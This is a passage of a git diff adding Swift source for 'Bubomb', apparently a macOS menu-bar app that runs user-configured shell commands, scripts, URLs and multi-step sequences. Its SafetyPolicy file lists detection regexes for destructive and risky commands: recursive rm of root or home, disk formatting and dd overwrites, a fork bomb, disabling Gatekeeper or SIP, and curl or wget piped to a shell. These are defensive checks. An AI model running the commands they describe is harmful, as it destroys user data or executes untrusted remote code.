String(data: stderrAccumulator.getData(), encoding: .utf8) ?? "" + + let wasCancelled = await state.clearProcess() + + if wasCancelled { + throw ExecutionError.cancelled + } + + if timeoutRef.isTimedOut { + throw ExecutionError.timeout(timeoutSeconds ?? 0) + } + + let exitCode = Int(proc.terminationStatus) + if exitCode != 0 { + let combined = stdoutString + (stderrString.isEmpty ? "" : "\n" + stderrString) + throw ExecutionError.nonZeroExitStatus(exitCode, output: combined) + } + + return ExecutionResult( + exitCode: exitCode, + stdout: stdoutString, + stderr: stderrString, + duration: duration + ) + } + + /// Cancels the running process immediately. + public func cancel() { + Task { + let proc = await state.cancel() + if let proc = proc, proc.isRunning { + proc.terminate() + DispatchQueue.global().asyncAfter(deadline: .now() + 0.5) { + if proc.isRunning { + kill(proc.processIdentifier, SIGKILL) + } + } + } + } + } +} + +// MARK: - Helper Types + +private actor ProcessState { + private var process: Process? + private var isCancelled = false + + func setProcess(_ proc: Process) throws { + if isCancelled { + throw ExecutionError.cancelled + } + self.process = proc + } + + func cancel() -> Process? { + isCancelled = true + let proc = self.process + self.process = nil + return proc + } + + func clearProcess() -> Bool { + let wasCancelled = self.isCancelled + self.process = nil + return wasCancelled + } +} + +private final class ThreadSafeAccumulator: @unchecked Sendable { + private var data = Data() + private let lock = NSLock() + + func append(_ newChunk: Data) { + guard !newChunk.isEmpty else { return } + lock.lock() + data.append(newChunk) + lock.unlock() + } + + func getData() -> Data { + lock.lock() + defer { lock.unlock() } + return data + } +} + +private final class TimeoutRef: @unchecked Sendable { + private var timedOut = false + private let lock = NSLock() + + var isTimedOut: Bool { + lock.lock() + defer { lock.unlock() } + return timedOut + } + + func markTimedOut() { + lock.lock() + timedOut = true + lock.unlock() + } +} diff --git a/Sources/BubombCore/Executors/ScriptExecutor.swift b/Sources/BubombCore/Executors/ScriptExecutor.swift new file mode 100644 index 0000000..55be037 --- /dev/null +++ b/Sources/BubombCore/Executors/ScriptExecutor.swift @@ -0,0 +1,77 @@ +import Foundation + +/// Executes local scripts safely without mutating file permissions or user scripts. +public final class ScriptExecutor: @unchecked Sendable { + private let runner = ProcessRunner() + + public init() {} + + public func execute(config: ScriptConfig) async throws -> ExecutionResult { + let validPath = try PathValidator.validateScript(at: config.scriptPath).get() + + if let workDir = config.workingDirectory { + _ = try PathValidator.validateWorkingDirectory(workDir).get() + } + + let isExecutable = FileManager.default.isExecutableFile(atPath: validPath) + let (interpreterURL, leadingArgs) = resolveInterpreter(forScriptAt: validPath, isExecutable: isExecutable) + + var finalArgs = leadingArgs + finalArgs.append(validPath) + finalArgs.append(contentsOf: config.arguments) + + return try await runner.run( + executableURL: interpreterURL, + arguments: finalArgs, + workingDirectory: config.workingDirectory, + environment: config.environmentVariables, + timeoutSeconds: config.timeoutSeconds + ) + } + + public func cancel() { + runner.cancel() + } + + /// Determines the appropriate interpreter for a script based on its shebang or file extension. + private func resolveInterpreter(forScriptAt path: String, isExecutable: Bool) -> (interpreterURL: URL, leadingArgs: [String]) { + // First check shebang + if let fileHandle = FileHandle(forReadingAtPath: path) { + defer { try? fileHandle.close() } + let headerData = fileHandle.readData(ofLength: 256) + if let headerString = String(data: headerData, encoding: .utf8), headerString.hasPrefix("#!") { + let firstLine = headerString.components(separatedBy: .newlines).first ?? "" + let shebangBody = firstLine.dropFirst(2).trimmingCharacters(in: .whitespaces) + let tokens = shebangBody.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + if let interpreter = tokens.first { + if interpreter == "/usr/bin/env" && tokens.count > 1 { + let actualBin = tokens[1] + return (URL(fileURLWithPath: "/usr/bin/env"), [actualBin]) + } else if FileManager.default.isExecutableFile(atPath: interpreter) { + return (URL(fileURLWithPath: interpreter), Array(tokens.dropFirst())) + } + } + } + } + + // If file is directly marked executable and no shebang, run directly + if isExecutable { + return (URL(fileURLWithPath: path), []) + } + + // Fallback by extension + let ext = (path as NSString).pathExtension.lowercased() + switch ext { + case "sh", "zsh", "bash": + return (URL(fileURLWithPath: "/bin/zsh"), []) + case "py": + return (URL(fileURLWithPath: "/usr/bin/python3"), []) + case "rb": + return (URL(fileURLWithPath: "/usr/bin/ruby"), []) + case "pl": + return (URL(fileURLWithPath: "/usr/bin/perl"), []) + default: + return (URL(fileURLWithPath: "/bin/sh"), []) + } + } +} diff --git a/Sources/BubombCore/Executors/SequenceExecutor.swift b/Sources/BubombCore/Executors/SequenceExecutor.swift new file mode 100644 index 0000000..29a0331 --- /dev/null +++ b/Sources/BubombCore/Executors/SequenceExecutor.swift @@ -0,0 +1,131 @@ +import Foundation + +/// Executes a sequence of payload steps in defined order with progress updates and failure policies. +public final class SequenceExecutor: @unchecked Sendable { + public typealias ProgressHandler = @Sendable (Int, Int, String) -> Void + + private let state = SequenceState() + + public init() {} + + public func execute( + config: SequenceConfig, + progress: ProgressHandler? = nil + ) async throws -> ExecutionResult { + let startTime = Date() + let totalSteps = config.steps.count + guard totalSteps > 0 else { + throw ExecutionError.invalidConfiguration("Sequence has no steps configured.") + } + + var fullStdout = "" + var fullStderr = "" + + for (index, step) in config.steps.enumerated() { + if await state.checkCancelled() { + throw ExecutionError.cancelled + } + + progress?(index + 1, totalSteps, step.name) + + let stepHeader = "--- [Step \(index + 1)/\(totalSteps): \(step.name)] ---\n" + fullStdout += stepHeader + + do { + let result = try await executeStep(step) + if !result.stdout.isEmpty { + fullStdout += result.stdout + (result.stdout.hasSuffix("\n") ? "" : "\n") + } + if !result.stderr.isEmpty { + fullStderr += "[\(step.name) stderr]: " + result.stderr + (result.stderr.hasSuffix("\n") ? "" : "\n") + } + } catch { + let errString = error.localizedDescription + let failureLog = "β Step \(index + 1) failed: \(errString)\n" + fullStderr += failureLog + + if config.stopOnError { + throw ExecutionError.stepFailed(stepIndex: index, stepName: step.name, reason: errString) + } + } + } + + let duration = Date().timeIntervalSince(startTime) + return ExecutionResult( + exitCode: 0, + stdout: fullStdout, + stderr: fullStderr, + duration: duration + ) + } + + private func executeStep(_ step: SequenceStep) async throws -> ExecutionResult { + switch step.action { + case .openApplication(let appPath): + let launcher = ApplicationLauncher() + return try await launcher.launch(appPath: appPath) + + case .openURL(let urlString): + let launcher = URLLauncher() + return try await launcher.open(urlString: urlString) + + case .runCommand(let cmd, let workDir, let timeout): + let executor = ShellCommandExecutor() + await state.setShell(executor) + defer { + Task { await self.state.setShell(nil) } + } + let shellConfig = ShellConfig( + command: cmd, + shellPath: "/bin/zsh", + workingDirectory: workDir, + timeoutSeconds: timeout + ) + return try await executor.execute(config: shellConfig) + + case .runScript(let scriptPath, let args, let workDir, let timeout): + let executor = ScriptExecutor() + await state.setScript(executor) + defer { + Task { await self.state.setScript(nil) } + } + let scriptConfig = ScriptConfig( + scriptPath: scriptPath, + arguments: args, + workingDirectory: workDir, + timeoutSeconds: timeout + ) + return try await executor.execute(config: scriptConfig) + } + } + + public func cancel() { + Task { + await state.cancel() + } + } +} + +private actor SequenceState { + private var isCancelled = false + private var shellExecutor: ShellCommandExecutor? + private var scriptExecutor: ScriptExecutor? + + func setShell(_ executor: ShellCommandExecutor?) { + self.shellExecutor = executor + } + + func setScript(_ executor: ScriptExecutor?) { + self.scriptExecutor = executor + } + + func cancel() { + self.isCancelled = true + shellExecutor?.cancel() + scriptExecutor?.cancel() + } + + func checkCancelled() -> Bool { + return isCancelled + } +} diff --git a/Sources/BubombCore/Executors/ShellCommandExecutor.swift b/Sources/BubombCore/Executors/ShellCommandExecutor.swift new file mode 100644 index 0000000..36c606b --- /dev/null +++ b/Sources/BubombCore/Executors/ShellCommandExecutor.swift @@ -0,0 +1,63 @@ +import Foundation + +/// Executes shell commands using an explicit shell or direct binary invocation. +public final class ShellCommandExecutor: @unchecked Sendable { + private let runner = ProcessRunner() + + public init() {} + + public func execute(config: ShellConfig) async throws -> ExecutionResult { + // Validate working directory if specified + if let workDir = config.workingDirectory { + _ = try PathValidator.validateWorkingDirectory(workDir).get() + } + + let trimmedCommand = config.command.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmedCommand.isEmpty else { + throw ExecutionError.invalidConfiguration("Command cannot be empty.") + } + + let executableURL: URL + let arguments: [String] + + let shell = config.shellPath.trimmingCharacters(in: .whitespacesAndNewlines) + if !shell.isEmpty { + // Validate shell executable exists + let validShell = try PathValidator.validateExecutable(at: shell).get() + executableURL = URL(fileURLWithPath: validShell) + + var fullCommand = trimmedCommand + if !config.arguments.isEmpty { + let appended = config.arguments.map { arg -> String in + if arg.contains(" ") || arg.contains("\"") { + return "\"\(arg.replacingOccurrences(of: "\"", with: "\\\""))\"" + } + return arg + }.joined(separator: " ") + fullCommand += " " + appended + } + arguments = ["-c", fullCommand] + } else { + // Direct binary invocation + let components = trimmedCommand.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + guard let binaryName = components.first else { + throw ExecutionError.invalidConfiguration("No binary specified.") + } + let validBinary = try PathValidator.validateExecutable(at: binaryName).get() + executableURL = URL(fileURLWithPath: validBinary) + arguments = Array(components.dropFirst()) + config.arguments + } + + return try await runner.run( + executableURL: executableURL, + arguments: arguments, + workingDirectory: config.workingDirectory, + environment: config.environmentVariables, + timeoutSeconds: config.timeoutSeconds + ) + } + + public func cancel() { + runner.cancel() + } +} diff --git a/Sources/BubombCore/Executors/URLLauncher.swift b/Sources/BubombCore/Executors/URLLauncher.swift new file mode 100644 index 0000000..c56e121 --- /dev/null +++ b/Sources/BubombCore/Executors/URLLauncher.swift @@ -0,0 +1,45 @@ +import Foundation +#if canImport(AppKit) +import AppKit +#endif + +/// Validates and opens URLs in the user's default web browser. +public final class URLLauncher: Sendable { + public init() {} + + public func open(urlString: String) async throws -> ExecutionResult { + let startTime = Date() + let validatedURL = try PathValidator.validateURL(urlString).get() + + var success = false + + #if canImport(AppKit) + success = await MainActor.run { + NSWorkspace.shared.open(validatedURL) + } + #endif + + if !success { + // Fallback to /usr/bin/open if NSWorkspace is not available or failed + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/usr/bin/open"), + arguments: [validatedURL.absoluteString] + ) + return ExecutionResult( + exitCode: result.exitCode, + stdout: "Opened \(validatedURL.absoluteString) via open tool", + stderr: result.stderr, + duration: Date().timeIntervalSince(startTime) + ) + } + + let duration = Date().timeIntervalSince(startTime) + return ExecutionResult( + exitCode: 0, + stdout: "Successfully opened URL: \(validatedURL.absoluteString)", + stderr: "", + duration: duration + ) + } +} diff --git a/Sources/BubombCore/Models/AppSettings.swift b/Sources/BubombCore/Models/AppSettings.swift new file mode 100644 index 0000000..949ae75 --- /dev/null +++ b/Sources/BubombCore/Models/AppSettings.swift @@ -0,0 +1,55 @@ +import Foundation + +public enum AnimationPreference: String, Codable, CaseIterable, Equatable, Sendable { + case full = "Full (Sparks & Smoke)" + case subtle = "Subtle (Sparks Only)" + case none = "None (Reduced Motion)" +} + +/// Persistent user configuration for Bubomb. +public struct AppSettings: Codable, Equatable, Sendable { + public var activePayload: Payload? + public var savedPayloads: [Payload] + public var launchAtLogin: Bool + public var startSilentlyInMenuBar: Bool + public var animationPreference: AnimationPreference + public var confirmDestructiveActions: Bool + public var playCompletionFeedback: Bool + public var recentExecutions: [ExecutionRecord] + + public static let currentVersion = "1.0.0" + public static let buildNumber = "1" + + public init( + activePayload: Payload? = nil, + savedPayloads: [Payload] = [], + launchAtLogin: Bool = false, + startSilentlyInMenuBar: Bool = true, + animationPreference: AnimationPreference = .full, + confirmDestructiveActions: Bool = true, + playCompletionFeedback: Bool = true, + recentExecutions: [ExecutionRecord] = [] + ) { + self.activePayload = activePayload + self.savedPayloads = savedPayloads + self.launchAtLogin = launchAtLogin + self.startSilentlyInMenuBar = startSilentlyInMenuBar + self.animationPreference = animationPreference + self.confirmDestructiveActions = confirmDestructiveActions + self.playCompletionFeedback = playCompletionFeedback + self.recentExecutions = recentExecutions + } + + public static var defaultSettings: AppSettings { + AppSettings( + activePayload: nil, + savedPayloads: [], + launchAtLogin: false, + startSilentlyInMenuBar: true, + animationPreference: .full, + confirmDestructiveActions: true, + playCompletionFeedback: true, + recentExecutions: [] + ) + } +} diff --git a/Sources/BubombCore/Models/ExecutionRecord.swift b/Sources/BubombCore/Models/ExecutionRecord.swift new file mode 100644 index 0000000..760f87e --- /dev/null +++ b/Sources/BubombCore/Models/ExecutionRecord.swift @@ -0,0 +1,83 @@ +import Foundation + +public enum ExecutionStatus: String, Codable, Equatable, Hashable, Sendable { + case succeeded = "Succeeded" + case failed = "Failed" + case cancelled = "Cancelled" + case timedOut = "Timed Out" + + public var badgeColorName: String { + switch self { + case .succeeded: return "green" + case .failed: return "red" + case .cancelled: return "orange" + case .timedOut: return "purple" + } + } +} + +/// Metadata and logs from a payload detonation. +public struct ExecutionRecord: Identifiable, Codable, Equatable, Hashable, Sendable { + public var id: UUID + public var payloadId: UUID + public var payloadName: String + public var payloadTypeDescription: String + public var startedAt: Date + public var finishedAt: Date + public var duration: TimeInterval + public var status: ExecutionStatus + public var exitCode: Int? + public var standardOutput: String + public var standardError: String + public var errorMessage: String? + + public init( + id: UUID = UUID(), + payloadId: UUID, + payloadName: String, + payloadTypeDescription: String, + startedAt: Date, + finishedAt: Date = Date(), + duration: TimeInterval = 0, + status: ExecutionStatus, + exitCode: Int? = nil, + standardOutput: String = "", + standardError: String = "", + errorMessage: String? = nil + ) { + self.id = id + self.payloadId = payloadId + self.payloadName = payloadName + self.payloadTypeDescription = payloadTypeDescription + self.startedAt = startedAt + self.finishedAt = finishedAt + self.duration = duration + self.status = status + self.exitCode = exitCode + self.standardOutput = standardOutput + self.standardError = standardError + self.errorMessage = errorMessage + } + + public var formattedDuration: String { + if duration < 1.0 { + return String(format: "%.0f ms", duration * 1000) + } else { + return String(format: "%.2f s", duration) + } + } + + public var combinedOutput: String { + var out = "" + if !standardOutput.isEmpty { + out += standardOutput + } + if !standardError.isEmpty { + if !out.isEmpty && !out.hasSuffix("\n") { + out += "\n" + } + out += standardError + } + return out + } +} diff --git a/Sources/BubombCore/Models/Payload.swift b/Sources/BubombCore/Models/Payload.swift new file mode 100644 index 0000000..2a14aae --- /dev/null +++ b/Sources/BubombCore/Models/Payload.swift @@ -0,0 +1,129 @@ +import Foundation + +/// A complete configured payload in Bubomb. +public struct Payload: Identifiable, Codable, Equatable, Hashable, Sendable { + public var id: UUID + public var name: String + public var type: PayloadType + public var requiresConfirmation: Bool + public var createdAt: Date + public var updatedAt: Date + + public init( + id: UUID = UUID(), + name: String = "My Action", + type: PayloadType = .shellCommand(ShellConfig()), + requiresConfirmation: Bool = false, + createdAt: Date = Date(), + updatedAt: Date = Date() + ) { + self.id = id + self.name = name + self.type = type + self.requiresConfirmation = requiresConfirmation + self.createdAt = createdAt + self.updatedAt = updatedAt + } + + /// Validates this payload against system requirements and filesystem paths. + public func validate() throws { + let trimmedName = name.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmedName.isEmpty { + throw ExecutionError.invalidConfiguration("Payload name cannot be empty.") + } + + switch type { + case .shellCommand(let config): + let trimmedCmd = config.command.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmedCmd.isEmpty { + throw ExecutionError.invalidConfiguration("Command cannot be empty.") + } + if !config.shellPath.isEmpty { + _ = try PathValidator.validateExecutable(at: config.shellPath).get() + } + if let workDir = config.workingDirectory { + _ = try PathValidator.validateWorkingDirectory(workDir).get() + } + + case .openApplication(let config): + let trimmedApp = config.applicationPath.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmedApp.isEmpty { + throw ExecutionError.invalidConfiguration("Application path cannot be empty.") + } + _ = try PathValidator.validateApplication(at: trimmedApp).get() + + case .openURL(let config): + _ = try PathValidator.validateURL(config.urlString).get() + + case .runScript(let config): + let trimmedScript = config.scriptPath.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmedScript.isEmpty { + throw ExecutionError.invalidConfiguration("Script path cannot be empty.") + } + _ = try PathValidator.validateScript(at: trimmedScript).get() + if let workDir = config.workingDirectory { + _ = try PathValidator.validateWorkingDirectory(workDir).get() + } + + case .sequence(let config): + if config.steps.isEmpty { + throw ExecutionError.invalidConfiguration("Multi-step sequence must have at least one step.") + } + for (index, step) in config.steps.enumerated() { + switch step.action { + case .openApplication(let path): + let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { + throw ExecutionError.invalidConfiguration("Step \(index + 1): Application path is empty.") + } + _ = try PathValidator.validateApplication(at: trimmed).get() + case .openURL(let url): + _ = try PathValidator.validateURL(url).get() + case .runCommand(let cmd, let workDir, _): + let trimmed = cmd.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { + throw ExecutionError.invalidConfiguration("Step \(index + 1): Command is empty.") + } + if let dir = workDir { + _ = try PathValidator.validateWorkingDirectory(dir).get() + } + case .runScript(let path, _, let workDir, _): + let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { + throw ExecutionError.invalidConfiguration("Step \(index + 1): Script path is empty.") + } + _ = try PathValidator.validateScript(at: trimmed).get() + if let dir = workDir { + _ = try PathValidator.validateWorkingDirectory(dir).get() + } + } + } + } + } + + /// Evaluates if safety policy flags this payload as destructive. + public var safetyRisk: SafetyPolicy.RiskLevel { + switch type { + case .shellCommand(let config): + return SafetyPolicy.evaluate(command: config.command) + case .runScript(let config): + return SafetyPolicy.evaluate(command: config.scriptPath) + case .sequence(let config): + for step in config.steps { + switch step.action { + case .runCommand(let cmd, _, _): + let risk = SafetyPolicy.evaluate(command: cmd) + if risk.isDestructive { return risk } + case .runScript(let script, _, _, _): + let risk = SafetyPolicy.evaluate(command: script) + if risk.isDestructive { return risk } + default: + break + } + } + return .safe + default: + return .safe + } + } +} diff --git a/Sources/BubombCore/Models/PayloadType.swift b/Sources/BubombCore/Models/PayloadType.swift new file mode 100644 index 0000000..e65beee --- /dev/null +++ b/Sources/BubombCore/Models/PayloadType.swift @@ -0,0 +1,105 @@ +import Foundation + +public struct ShellConfig: Codable, Equatable, Hashable, Sendable { + public var command: String + public var shellPath: String + public var arguments: [String] + public var workingDirectory: String? + public var environmentVariables: [String: String] + public var timeoutSeconds: TimeInterval? + + public init( + command: String = "", + shellPath: String = "/bin/zsh", + arguments: [String] = [], + workingDirectory: String? = nil, + environmentVariables: [String: String] = [:], + timeoutSeconds: TimeInterval? = 30 + ) { + self.command = command + self.shellPath = shellPath + self.arguments = arguments + self.workingDirectory = workingDirectory + self.environmentVariables = environmentVariables + self.timeoutSeconds = timeoutSeconds + } +} + +public struct AppConfig: Codable, Equatable, Hashable, Sendable { + public var applicationPath: String + public var arguments: [String] + + public init(applicationPath: String = "", arguments: [String] = []) { + self.applicationPath = applicationPath + self.arguments = arguments + } +} + +public struct URLConfig: Codable, Equatable, Hashable, Sendable { + public var urlString: String + + public init(urlString: String = "https://") { + self.urlString = urlString + } +} + +public struct ScriptConfig: Codable, Equatable, Hashable, Sendable { + public var scriptPath: String + public var arguments: [String] + public var workingDirectory: String? + public var environmentVariables: [String: String] + public var timeoutSeconds: TimeInterval? + + public init( + scriptPath: String = "", + arguments: [String] = [], + workingDirectory: String? = nil, + environmentVariables: [String: String] = [:], + timeoutSeconds: TimeInterval? = 60 + ) { + self.scriptPath = scriptPath + self.arguments = arguments + self.workingDirectory = workingDirectory + self.environmentVariables = environmentVariables + self.timeoutSeconds = timeoutSeconds + } +} + +public struct SequenceConfig: Codable, Equatable, Hashable, Sendable { + public var steps: [SequenceStep] + public var stopOnError: Bool + + public init(steps: [SequenceStep] = [], stopOnError: Bool = true) { + self.steps = steps + self.stopOnError = stopOnError + } +} + +/// The specific payload types supported by Bubomb. +public enum PayloadType: Codable, Equatable, Hashable, Sendable { + case shellCommand(ShellConfig) + case openApplication(AppConfig) + case openURL(URLConfig) + case runScript(ScriptConfig) + case sequence(SequenceConfig) + + public var typeDisplayName: String { + switch self { + case .shellCommand: return "Shell Command" + case .openApplication: return "Open Application" + case .openURL: return "Open URL" + case .runScript: return "Run Script" + case .sequence: return "Multi-step Sequence" + } + } + + public var iconName: String { + switch self { + case .shellCommand: return "terminal.fill" + case .openApplication: return "app.badge.fill" + case .openURL: return "link" + case .runScript: return "doc.text.fill" + case .sequence: return "list.bullet.rectangle.fill" + } + } +} diff --git a/Sources/BubombCore/Models/SafetyPolicy.swift b/Sources/BubombCore/Models/SafetyPolicy.swift new file mode 100644 index 0000000..84bcf37 --- /dev/null +++ b/Sources/BubombCore/Models/SafetyPolicy.swift @@ -0,0 +1,88 @@ +import Foundation + +/// Safety evaluation for configured commands and payloads. +public struct SafetyPolicy: Sendable { + public enum RiskLevel: Equatable, Sendable { + case safe + case suspicious(reason: String) + case destructive(reason: String) + + public var isDestructive: Bool { + if case .destructive = self { return true } + return false + } + + public var warningMessage: String? { + switch self { + case .safe: + return nil + case .suspicious(let reason): + return reason + case .destructive(let reason): + return reason + } + } + } + + /// Evaluates a command string for known destructive or dangerous patterns. + public static func evaluate(command: String) -> RiskLevel { + let trimmed = command.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { return .safe } + + // Destructive patterns: root/home recursive deletion, disk formatting, raw block devices, fork bombs + let destructivePatterns: [(pattern: String, reason: String)] = [ + (#"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*[fF][a-zA-Z]*\s+(/|~|\$HOME|\.\./|\*)(?:\s|$|[;&|])"#, "Recursive force removal of system or root/home directory"), + (#"\brm\s+-[a-zA-Z]*[fF][a-zA-Z]*[rR][a-zA-Z]*\s+(/|~|\$HOME|\.\./|\*)(?:\s|$|[;&|])"#, "Recursive force removal of system or root/home directory"), + (#"\bmkfs\b"#, "Filesystem formatting command detected"), + (#"\bdd\s+if=.*of=/dev/(r?disk|sd)"#, "Raw disk overwrite command (dd) detected"), + (#">\s*/dev/(r?disk|sd)"#, "Direct write redirection to raw disk device"), + (#"\bchmod\s+-[a-zA-Z]*R[a-zA-Z]*\s+777\s+/"#, "Dangerous root directory permission change"), + (#":\(\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:"#, "Fork bomb pattern detected"), + (#"\bdiskutil\s+(eraseDisk|partitionDisk|unmountDisk)\b"#, "Disk erasure or partition command detected") + ] + + for (pattern, reason) in destructivePatterns { + if let regex = try? NSRegularExpression(pattern: pattern, options: [.caseInsensitive]) { + let range = NSRange(location: 0, length: trimmed.utf16.count) + if regex.firstMatch(in: trimmed, options: [], range: range) != nil { + return .destructive(reason: reason) + } + } + } + + // Suspicious patterns: sudo, disabling gatekeeper/SIP, curl-pipe-to-sh + let suspiciousPatterns: [(pattern: String, reason: String)] = [ + (#"\bsudo\b"#, "Command requests superuser privileges (sudo)"), + (#"\bspctl\s+--master-disable\b"#, "Attempt to disable macOS Gatekeeper"), + (#"\bcsrutil\s+disable\b"#, "Attempt to disable macOS System Integrity Protection (SIP)"), + (#"(curl|wget)\s+.*\|\s*(sh|bash|zsh)"#, "Piping remote network script directly into shell") + ] + + for (pattern, reason) in suspiciousPatterns { + if let regex = try? NSRegularExpression(pattern: pattern, options: [.caseInsensitive]) { + let range = NSRange(location: 0, length: trimmed.utf16.count) + if regex.firstMatch(in: trimmed, options: [], range: range) != nil { + return .suspicious(reason: reason) + } + } + } + + return .safe + } + + /// Determines if an execution must require explicit user confirmation. + public static func requiresConfirmation(command: String, userSettingAlwaysConfirmDestructive: Bool) -> (required: Bool, reason: String?) { + let risk = evaluate(command: command) + switch risk { + case .destructive(let reason): + return (true, "β οΈ Potentially destructive operation detected: \(reason)") + case .suspicious(let reason): + if userSettingAlwaysConfirmDestructive { + return (true, "Notice: \(reason)") + } + return (false, reason) + case .safe: + return (false, nil) + } + } +} diff --git a/Sources/BubombCore/Models/SequenceStep.swift b/Sources/BubombCore/Models/SequenceStep.swift new file mode 100644 index 0000000..f1d075d --- /dev/null +++ b/Sources/BubombCore/Models/SequenceStep.swift @@ -0,0 +1,43 @@ +import Foundation + +/// Individual step within a Multi-step Sequence payload. +public struct SequenceStep: Identifiable, Codable, Equatable, Hashable, Sendable { + public var id: UUID + public var name: String + public var action: StepAction + + public init(id: UUID = UUID(), name: String, action: StepAction) { + self.id = id + self.name = name + self.action = action + } + + public enum StepAction: Codable, Equatable, Hashable, Sendable { + case openApplication(applicationPath: String) + case openURL(urlString: String) + case runCommand(command: String, workingDirectory: String?, timeoutSeconds: TimeInterval?) + case runScript(scriptPath: String, arguments: [String], workingDirectory: String?, timeoutSeconds: TimeInterval?) + } + + public var actionTypeTitle: String { + switch action { + case .openApplication: return "Open App" + case .openURL: return "Open URL" + case .runCommand: return "Shell Command" + case .runScript: return "Run Script" + } + } + + public var summary: String { + switch action { + case .openApplication(let path): + return (path as NSString).lastPathComponent + case .openURL(let url): + return url + case .runCommand(let cmd, _, _): + return cmd + case .runScript(let path, _, _, _): + return (path as NSString).lastPathComponent + } + } +} diff --git a/Sources/BubombCore/Persistence/SettingsStore.swift b/Sources/BubombCore/Persistence/SettingsStore.swift new file mode 100644 index 0000000..ff3ae8a --- /dev/null +++ b/Sources/BubombCore/Persistence/SettingsStore.swift @@ -0,0 +1,134 @@ +import Foundation +import Combine + +/// Manages persistence and state observation for Bubomb settings. +public final class SettingsStore: ObservableObject, @unchecked Sendable { + public static let shared = SettingsStore() + + private let userDefaults: UserDefaults + private let storageKey = "com.bubomb.settings.v1" + private let fileManager = FileManager.default + private let lock = NSLock() + + @Published public private(set) var settings: AppSettings + + public init(userDefaults: UserDefaults = .standard) { + self.userDefaults = userDefaults + + // Load initial settings + if let data = userDefaults.data(forKey: storageKey), + let decoded = try? JSONDecoder().decode(AppSettings.self, from: data) { + self.settings = decoded + } else if let diskSettings = Self.loadFromDisk() { + self.settings = diskSettings + } else { + self.settings = AppSettings.defaultSettings + } + } + + /// Update full settings object. + public func update(_ newSettings: AppSettings) { + lock.lock() + defer { lock.unlock() } + + self.settings = newSettings + persist(newSettings) + } + + /// Sets or updates the active payload. + public func setActivePayload(_ payload: Payload?) { + lock.lock() + defer { lock.unlock() } + + var updated = self.settings + updated.activePayload = payload + + // Also ensure it is in savedPayloads list if non-nil + if let payload = payload { + if let index = updated.savedPayloads.firstIndex(where: { $0.id == payload.id }) { + updated.savedPayloads[index] = payload + } else { + updated.savedPayloads.append(payload) + } + } + + self.settings = updated + persist(updated) + } + + /// Appends a new execution record (caps at 30 entries). + public func addExecutionRecord(_ record: ExecutionRecord) { + lock.lock() + defer { lock.unlock() } + + var updated = self.settings + var history = updated.recentExecutions + history.insert(record, at: 0) + if history.count > 30 { + history = Array(history.prefix(30)) + } + updated.recentExecutions = history + + self.settings = updated + persist(updated) + } + + /// Clears execution history. + public func clearHistory() { + lock.lock() + defer { lock.unlock() } + + var updated = self.settings + updated.recentExecutions = [] + self.settings = updated + persist(updated) + } + + /// Resets all settings to defaults. + public func resetToDefaults() { + lock.lock() + defer { lock.unlock() } + + let defaults = AppSettings.defaultSettings + self.settings = defaults + persist(defaults) + } + + // MARK: - Internal Persistence + + private func persist(_ settingsToSave: AppSettings) { + guard let data = try? JSONEncoder().encode(settingsToSave) else { return } + userDefaults.set(data, forKey: storageKey) + Self.saveToDisk(data: data) + + // Notify observers on main queue + DispatchQueue.main.async { [weak self] in + self?.objectWillChange.send() + } + } + + private static var diskURL: URL? { + guard let appSupport = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first else { + return nil + } + let bubombDir = appSupport.appendingPathComponent("Bubomb", isDirectory: true) + if !FileManager.default.fileExists(atPath: bubombDir.path) { + try? FileManager.default.createDirectory(at: bubombDir, withIntermediateDirectories: true) + } + return bubombDir.appendingPathComponent("settings.json") + } + + private static func saveToDisk(data: Data) { + guard let url = diskURL else { return } + try? data.write(to: url, options: .atomic) + } + + private static func loadFromDisk() -> AppSettings? { + guard let url = diskURL, + let data = try? Data(contentsOf: url), + let decoded = try? JSONDecoder().decode(AppSettings.self, from: data) else { + return nil + } + return decoded + } +} diff --git a/Sources/BubombCore/Utilities/ExecutionError.swift b/Sources/BubombCore/Utilities/ExecutionError.swift new file mode 100644 index 0000000..ea2fd5f --- /dev/null +++ b/Sources/BubombCore/Utilities/ExecutionError.swift @@ -0,0 +1,64 @@ +import Foundation + +/// Errors that can occur during Bubomb payload validation, execution, and persistence. +public enum ExecutionError: LocalizedError, Equatable, Sendable { + case noPayloadConfigured + case invalidConfiguration(String) + case executableNotFound(String) + case scriptNotFound(String) + case workingDirectoryNotFound(String) + case invalidURL(String) + case permissionDenied(String) + case nonZeroExitStatus(Int, output: String) + case timeout(TimeInterval) + case cancelled + case processLaunchFailed(String) + case duplicateExecution + case destructiveActionRejected + case stepFailed(stepIndex: Int, stepName: String, reason: String) + case applicationNotFound(String) + case applicationLaunchFailed(String) + + public var errorDescription: String? { + switch self { + case .noPayloadConfigured: + return "No payload configured. Open Settings to set up an action." + case .invalidConfiguration(let details): + return "Invalid configuration: \(details)" + case .executableNotFound(let path): + return "Executable not found at path: \(path)" + case .scriptNotFound(let path): + return "Script file not found at path: \(path)" + case .workingDirectoryNotFound(let path): + return "Working directory does not exist: \(path)" + case .invalidURL(let url): + return "Invalid URL: \(url). Only valid http:// and https:// URLs are supported." + case .permissionDenied(let path): + return "Permission denied accessing: \(path)" + case .nonZeroExitStatus(let code, let output): + let trimmed = output.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { + return "Command failed with exit status \(code)." + } else { + let firstLine = trimmed.components(separatedBy: .newlines).first ?? "" + return "Command failed with exit status \(code): \(firstLine)" + } + case .timeout(let duration): + return "Execution timed out after \(String(format: "%.1f", duration)) seconds." + case .cancelled: + return "Execution was cancelled by the user." + case .processLaunchFailed(let details): + return "Failed to launch process: \(details)" + case .duplicateExecution: + return "A payload is already running. Wait for it to finish or cancel it." + case .destructiveActionRejected: + return 